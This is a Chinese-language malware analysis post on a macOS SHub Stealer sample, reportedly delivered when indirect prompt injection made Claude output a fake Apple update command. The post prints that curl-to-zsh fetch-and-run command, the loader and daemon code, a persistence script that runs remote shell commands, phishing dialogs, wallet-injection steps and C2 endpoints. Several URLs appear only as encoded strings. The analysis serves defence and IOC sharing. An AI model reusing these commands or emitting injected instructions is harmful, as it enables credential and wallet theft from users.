2026 年 5 月 6 日,X 上的安全研究员 Tuan Anh Nguyen 分享了一个 Claude 对话链接:
7a5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3q4#2k6r3g2Q4x3X3g2S2K9g2)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6V1^5z5o6p5^5k6o6W2Q4x3X3b7I4k6r3c8U0i4K6u0V1y4r3k6T1j5W2)9J5k6o6W2X3j5e0N6Q4x3X3b7#2y4X3c8X3j5U0R3@1z5o6b7H3j5U0l9`.
这个对话里,攻击者利用间接提示词注入 ,在 Claude 的输出中嵌入伪装成 Apple 安全更新的恶意命令,诱导用户复制到终端执行。链接是博主朋友提供的,似乎是员工受到攻击的真实案例,目前恶意载荷已从服务器清除。
手法与 macOS ClickFix 窃密活动 十分相似,虽然最开始是通过提示词注入实现的,执行链仍是“诱导用户复制 Terminal 命令 → curl 拉脚本 → zsh/osascript 执行 → 落地窃密器 ”的 ClickFix 模式。该样本会窃取 iCloud、Keychain、浏览器和钱包数据,并木马化钱包应用,长期驻留 macOS 系统。
一、拿到样本
很可惜的是看不到claude到底访问了哪些网页,不知道这次间接提示词注入是如何发生成的,只能看看样本
从推文里的对话分享链接中提取到的恶意命令:
echo "Downloading Update: 35dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6i4m8H3L8%4u0@1i4K6u0W2j5i4m8H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6E0j5h3y4G2M7#2)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2i4K6u0V1x3e0c8Q4x3X3f1#2i4K6u0W2k6r3#2Y4 " && curl -s $(echo "aHR0cHM6Ly9iYWJ1bGlraW5ldC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWU3NDM5OTA1MDYxNDhjYmJjYzI2NzUwNDhlNWI2Zjc4" | base64 -d) | zsh
攻击者的巧思/doge,这个命令里把base64编码后的代码放在后面,在claude的网页端只能看到前面正常的下载 apple 官网文件的链接,诱导用户直接复制到终端执行
Base64 解码出来是:
a7fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5
二、第一阶段:loader.sh
通过代理从 C2 把 loader.sh 拉了下来。文件很小,1349 字节,长这样:
#!/bin/zsh
dbf9f2f=$(base64 -D <<'PAYLOAD_9d91ed76' | gunzip
<一大段 Base64>
PAYLOAD_9d91ed76
)
eval "$dbf9f2f "
双层编码 dropper。 结构极其简洁——6 行代码,核心只有一步:base64 -D | gunzip | eval。Base64 解码 → Gzip 解压 → eval 执行。
heredoc 分隔符 PAYLOAD_9d91ed76 带一个 8 位 hex 后缀,应该是自动化混淆工具搞出来的。
哈希值
组件
SHA256
loader.sh (完整)
efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d
Gzip 压缩载荷
6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e
解码后 Zsh 载荷
d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065
Gzip 头里 MTIME 是 2026-05-06 14:41:22 UTC。还有个有意思的细节——OS 字段是 255 。正常的 gzip 会自动填当前系统编号,作者专门修改了一下来隐藏自己的开发平台。
三、解码第一层载荷
把 Base64 解码、Gzip 解压后,得到一个 1918 字节的 Zsh 脚本。
3.1 上来先检测你是不是说俄语的
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
IS_CIS="true"
fi
它读 macOS 的键盘偏好设置,如果发现有俄语键盘布局,标记 IS_CIS=true,然后发送一条 "cis_blocked" 遥测就直接退出了 ,猜测攻击者可能是俄语地区的(
3.2 系统信息收集
LOCALE_INFO=$(defaults read ... | grep -i "KeyboardLayout Name" | head -5 ...)
HOSTNAME=$(hostname)
OS_VER=$(sw_vers -productVersion)
EXT_IP=$(curl -s 739K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. || curl -s 0fbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6j5$3q4F1K9r3q4*7K9i4m8Q4x3X3g2U0L8$3@1`. || curl -s e4dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6k6X3y4G2L8X3k6A6k6#2)9J5k6h3#2W2i4K6t1&6
收集了键盘布局、主机名、macOS 版本、公网 IP
3.3 用 printf 构建 JSON 上报
send_debug_event () {
local JSON=$(printf '{"event":"%s","build_hash":"%s",...}' "$EVT " "e743990506148cbbcc2675048e5b6f78" ...)
curl -s -X POST "dd1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`. " -H "Content-Type: application/json" -d "$JSON "
}
build_hash 是 e743990506148cbbcc2675048e5b6f78,32 字符 hex,MD5 长度,这应该是标识这次攻击活动/版本的 ID,后面还会反复出现。
3.4 守护进程化 + 下载第二阶段
daemon_function () {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ... Chrome/91..." \
"369K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`. " \
| osascript
}
daemon_function "$@ " &
exit 0
几个关键点:
exec </dev/null; exec >/dev/null; exec 2>/dev/null :三个标准流全关,进程彻底脱离终端。即使你关掉 Terminal 窗口,恶意进程继续跑。
curl | osascript :下载的 AppleScript 直接通过管道执行,不写磁盘 。
四、网络基础设施初探
C2 是 babulikinet.com。
DNS 解析结果:
A 记录:172.67.216.222、104.21.93.240 — 两个都是 Cloudflare Anycast IP
NS:rodrigo.ns.cloudflare.com、sima.ns.cloudflare.com
没有 MX、TXT 记录 ——这个域名只用来做 C2,不干别的
这个域名仅注册了一天 (2026 年 5 月 5 日)。
五、第二阶段:AppleScript 载荷 — SHub Stealer
AppleScript 载荷 payload.applescript,约 35KB、1086 行。内部自标识为 "SHub Stealer (DEBUG)",Build Tag 为 "eskalogs2"。
5.1 常规反取证
try
do shell script "killall Terminal"
end try
常规且直接的反取证操作,没什么可说的
5.2 系统密码钓鱼
这个攻击手法与 ClickFix 攻击活动的特征基本一致:弹窗钓鱼、伪装系统更新提示、要求密码验证、循环重试
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns"
display dialog "You should update the settings to launch the application."
default answer "" with icon imagePath
buttons {"Continue"} default button "Continue"
giving up after 150
with title "System Preferences"
with hidden answer # 密码输入以黑点显示
用的是 macOS 原生的 display dialog API,标题叫 "System Preferences" ,图标是系统的锁定图标 LockedIcon.icns。弹窗提示说"你需要更新设置才能启动应用",让用户输入密码。
它会重试最多 10 次,每次给 150 秒超时,而且不管密码对不对,所有尝试过的密码都保存到本地文件,即使最后没骗到正确密码,也能收集受害者常用的密码组合。
密码验证用的是 dscl . authonly,验证成功后直接尝试提取 Chrome 钥匙串里的主密码:
do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
5.3 浏览器数据窃取
支持 14 款 Chromium 内核浏览器 + Firefox: Chrome、Brave、Edge、Opera、OperaGX、Vivaldi、Orion、Sidekick、Chrome Canary、Chromium、Chrome Dev、Arc、Cốc Cốc、Chrome Beta + Firefox。
窃取的目标文件包括:Cookies、保存的网站密码、表单填充数据、加密钱包扩展的本地存储、扩展的本地数据库
对于 Firefox(Gecko 内核),窃取:
cookies.sqlite 、logins.json 、key4.db (密码数据库)、cert9.db
浏览器模块还专门跑了两趟 ——第一趟 Chromium() 收集浏览器本身的数据,第二趟 ChromiumWallets() 专门针对加密钱包扩展,这说明攻击者很清楚什么数据值钱/doge。
5.4 加密钱包扩展扫描
ChromiumWallets() 硬编码了 约 90 个 Chromium 扩展 ID ,逐个去 Local Extension Settings/ 下面匹配。部分列表如下:
扩展名
Extension ID
MetaMask
nkbihfbeogaeaoehlefnkodbefgpgknn
Phantom (Solana)
bfnaelmomeimhlpmgjnjophhpkkoljpa
Trust Wallet
egjidjbpglichdcondbcbdnbeeppgdph
Coinbase Wallet
hnfanknocfeofbddgcijnmhnfnkdnaad
Rabby
acmacodkjbdgmoleebolmdjonilkdbch
Keplr (Cosmos)
dmkamcknogkgcdfhhbddcghachkejeap
TronLink
ibnejdfjmmkpcnlpebklmnkoeoihofec
每个扩展还有一个 3 元组配置 {extension_id, flag1, flag2, flag3},第三个值如果是 1 表示去 IndexedDB/ 下找(而不是 Local Extension Settings/)。这说明作者对每个钱包扩展的数据存储结构都做过逆向 。剩下的 80 多个扩展 ID 我还没逐一比对,但覆盖范围显然涵盖了主流钱包生态。
5.5 桌面加密货币钱包窃取
DesktopWallets() 模块硬编码了 25+ 款桌面钱包的默认路径 :
钱包
路径
Exodus
~/Library/Application Support/Exodus/
Electrum
~/.electrum/wallets/
Atomic
~/Library/Application Support/atomic/Local Storage/leveldb/
Guarda
~/Library/Application Support/Guarda/
Coinomi
~/Library/Application Support/Coinomi/wallets/
Sparrow
~/.sparrow/wallets/
Wasabi
~/.walletwasabi/client/Wallets/
Bitcoin Core
~/Library/Application Support/Bitcoin/wallets/
Monero
~/.bitmonero/wallets/
Litecoin Core
~/Library/Application Support/Litecoin/wallets/
Dash Core
~/Library/Application Support/DashCore/wallets/
Dogecoin Core
~/Library/Application Support/Dogecoin/wallets/
Ledger Live
~/Library/Application Support/Ledger Live/
Trezor Suite
~/Library/Application Support/@trezor
Daedalus (Cardano)
~/Library/Application Support/Daedalus Mainnet/wallets/
GrabFolderLimit() 方法设置了 100MB 的单个钱包窃取上限 (硬编码 100 * 1024 * 1024),应该是怕钱包数据太大影响回传效率。排除列表里有 .DS_Store、Code Cache、Cache、journals、Previews——这是一种过滤策略,只拿有实际价值的数据,不搬运缓存和预览垃圾 。
5.6 Telegram 会话劫持
set tgPath to library & "Telegram Desktop/tdata/"
专门针对 Telegram Desktop 的 tdata/ 目录,只拿了两个就能完整劫持 Telegram 会话的关键文件
5.7 Keychain 和 iCloud 窃取
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
直接把整个 ~/Library/Keychains/ 目录拷走。 macOS 的钥匙串里存着所有的 Wi-Fi 密码、应用密码、Safari 保存的密码、邮件账户密码……
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
iCloud 账户数据也打包带走。
5.8 文件窃取器 — Filegrabber
这个有点乱,让大模型总结了一下:
目标目录:桌面和文档
文档扩展名:docx、doc、wallet、key、keys、txt、rtf、csv、xls、xlsx、json、rdp
图片扩展名:png(猜测:可能是桌面截图、助记词截图)
文档限制单文件 2MB,图片限制单文件 6MB
总大小限制 150MB ——超过就停
文档深度 3 层,图片深度 2 层
文档每个扩展名最多 30 个文件,图片最多 20 个
还额外收集:
Safari : Cookies.binarycookies、表单填充、历史
Apple Notes : NoteStore.sqlite
Chrome 历史 : History、History-journal
Shell 历史 : .zshrc、.zsh_history、.bash_history、.gitconfig
5.9 钱包应用代码注入(Wallet Injection)
木马从 C2 下载恶意 .asar 文件(Electron 应用的打包格式),注入到已安装的钱包应用中。目标应用有 5 个:
钱包
C2 asar 端点
Exodus
/gate/exodus-asar
Atomic Wallet
/gate/atomic-asar
Ledger Wallet
/gate/ledger-asar
Ledger Live
/gate/ledgerlive-asar
Trezor Suite
/gate/trezor-asar
以 Exodus 为例,注入流程为:
pkill -9 Exodus —— 先杀进程
cp -rf /Applications/Exodus.app /tmp/Exodus_tmp.app —— 复制应用到临时目录
rm -rf /Applications/Exodus.app —— 删除原应用(绕过 macOS 的 TCC 保护)
mv /tmp/Exodus_tmp.app /Applications/Exodus.app —— 移回来
mv /tmp/app.asar /Applications/Exodus.app/Contents/Resources/app.asar —— 替换核心代码
xattr -cr /Applications/Exodus.app —— 移除隔离属性(com.apple.quarantine)
codesign -f -d -s - /Applications/Exodus.app —— ad-hoc 重签名
步骤 2-4 的"移出再移回"操作很可能是为了绕过 macOS 的 TCC (Transparency, Consent, and Control) 保护——应用目录受 SIP 保护时直接替换文件会被拒绝,但删除后重新创建是可以的。xattr -cr 清除隔离标志,codesign 做 ad-hoc 自签名来绕过 Gatekeeper。
有意思的是,Ledger Wallet 和 Ledger Live 的注入还额外替换了 Info.plist。这两个是硬件钱包的配套应用——Info.plist 被替换后可能授予了额外的权限(比如访问摄像头/麦克风/辅助功能),用于后续更隐蔽的监控。
5.10 持久化 —— 伪装 Google Keystone
木马把持久化脚本藏在 ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate,然后用一个 LaunchAgent plist com.google.keystone.agent.plist 每 60 秒启动一次。
持久化脚本解码后是这样的,:
#!/bin/bash
GATE_URL="89fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8b7`.`. "
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' )
BUILD_ID="d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f"
HOSTNAME=$(hostname)
IP=$(curl -s e83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)
RESP=$(curl -s -X POST "$GATE_URL /api/bot/heartbeat" \
-H "Content-Type: application/json" \
-d '{"bot_id":"' "$BOT_ID " '","build_id":"' "$BUILD_ID " '",...}' )
CODE=$(echo "$RESP " | sed -n 's/.*"code":"\([^"]*\)".*/\1/p' )
if [ -n "$CODE " ]; then
echo "$CODE " | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh
rm -f /tmp/.c.sh
fi
其中,用硬件 UUID(IOPlatformUUID )作为 bot 标识——这个标识即使重装系统也不会变,并且C2 可以在响应里携带任意 Base64 编码的 Shell 命令,落地到 /tmp/.c.sh 执行
5.11 数据回传
木马把窃取的所有数据先存到 /tmp/shub_<random>/,然后用 ditto 打包成 ZIP 上传到 C2:
文件 < 85MB 的直接 POST 到 /gate,文件 ≥ 85MB 则启动分片模式,按优先级排序:Wallets → KeyChains → Browsers → Telegram → Safari → Notes → Profile,每个分片 ≤ 70MB,独立打包成 ZIP再上传。所有操作完成后自动清理
5.12 最后的障眼法
display dialog "Your Mac does not support this application.
Try reinstalling or downloading the version for your system."
with title "System Preferences" with icon stop buttons {"OK"}
偷完所有数据后,弹一个假错误对话框,让受害者以为只是应用程序不兼容——从而不会怀疑自己中了木马。
整个过程中,木马还向 C2 发送了详细的遥测事件,形成了一个完整的事件流水:
payload_started → password_obtained/failed → collecting_browsers → collecting_wallets → data_collected → zip_sent
每个事件都带上 build_hash 和 IP,攻击者可以在后台实时看到每台受害机的进度。
六、完整 C2 端点汇总
经过两阶段全部代码分析,完整的 C2 路由表如下:
端点
方法
用途
/debug/loader.sh?build=<hash>
GET
第一阶段 loader.sh 分发
/api/debug/event
POST
全部遥测事件(两阶段共用)
/debug/payload.applescript?build=<hash>
GET
第二阶段 AppleScript 载荷分发
/gate
POST
窃取数据 ZIP 上传
/gate/chunk
POST
分片上传
/gate/exodus-asar
GET
Exodus 钱包注入载荷
/gate/atomic-asar
GET
Atomic Wallet 注入载荷
/gate/ledger-asar
GET
Ledger Wallet 注入载荷
/gate/ledgerlive-asar
GET
Ledger Live 注入载荷
/gate/trezor-asar
GET
Trezor Suite 注入载荷
/api/bot/heartbeat
POST
持久化心跳 / 远程命令
七、威胁评估
这个样本可归类 ClickFix 攻击活动,想了解更多的可以参考微软安全团队的推文:
123K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6k6Q4x3V1k6U0L8r3W2U0K9$3k6A6P5q4)9J5k6r3y4S2L8i4m8S2K9h3N6F1i4K6u0V1N6i4y4W2M7#2)9J5k6r3k6S2K9$3g2Q4x3X3c8E0j5h3y4G2M7#2)9J5k6s2g2@1K9h3I4A6N6r3W2W2M7#2)9J5k6r3I4#2M7X3g2K6i4K6u0V1k6r3g2D9K9i4k6W2M7W2)9J5k6r3W2F1k6X3!0K6N6r3g2S2L8r3g2J5M7#2)9J5c8R3`.`.
大模型给的总结:
双层编码 + 无文件执行 逃避静态和磁盘检测
CIS 地理围栏 ——俄语系威胁组织的标准 TTP
系统原生 API 钓鱼 ——display dialog + LockedIcon.icns,难以被反钓鱼软件识别
90+ 钱包扩展 ID 硬编码 ——对加密钱包生态有系统性的逆向研究
Electron 应用 asar 注入 + 重签名 ——供应链级别的攻击手法
智能分片回传 ——内置 Bash 分片脚本,按优先级排序
伪装 Google Keystone 持久化 ——利用合法路径和进程名,隐蔽性极高
心跳 + 远程命令 ——持久化后变成完整的后门平台
全链遥测 ——每个阶段都上报事件,攻击者可以监控"转化漏斗"
八、完整 IOC 汇总
总结自大模型:
文件 IOC
IOC 类型
值
组件
SHA256
efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d
loader.sh
SHA256
6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e
Gzip 载荷
SHA256
d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065
解码后 Zsh
MD5
d8788f0aabdb3f5b1e705783a7e14261
loader.sh
网络 IOC
IOC 类型
值
域名
babulikinet.com
IP(Cloudflare CDN)
172.67.216.222
IP(Cloudflare CDN)
104.21.93.240
遥测 URL
74aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`.
第一阶段 URL
0e8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5
第二阶段 URL
756K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`.
数据回传
5d5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3f1`.
分片上传
51bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3g2Q4x3V1k6U0K9s2g2F1K9H3`.`.
持久化 C2
160K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3u0G2N6q4)9J5c8X3S2W2j5i4u0@1j5X3g2S2N6l9`.`.
活动标识
标识符
值
Build Hash
e743990506148cbbcc2675048e5b6f78
Build ID (txd)
d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f
Build Name
eskalogs2
Gate API Key
61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f
自标识
SHub Stealer (DEBUG)
九、恶意样本源文件
所有原始恶意样本已打包为 malware_samples_0506.zip(密码 0506)。文件结构如下:
malware_samples_0506.zip
├── original_samples/
│ ├── loader.sh
│ ├── stage2_payload.applescript
│ ├── exodus-asar
│ ├── atomic-asar
│ ├── ledger-asar
│ ├── ledgerlive-asar
│ ├── trezor-asar
│ ├── exodus.asar
│ ├── atomic.asar
│ ├── ledger.asar
│ ├── ledgerlive.asar
│ └── trezor.asar
└── decoded_artifacts/
├── payload_base64.txt
├── payload_gzip.bin
└── payload_decoded.zsh
*-asar(无后缀点)= C2 直接返回的 ZIP 包,包含完整 Electron 应用框架
*.asar = 从 ZIP 中解压出的核心注入代码,为 Electron asar 归档格式,可用 npx @electron/asar extract <file> <output_dir> 解包分析
decoded_artifacts/ = 分析过程中从 loader.sh 逐层解码产出的中间文件
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!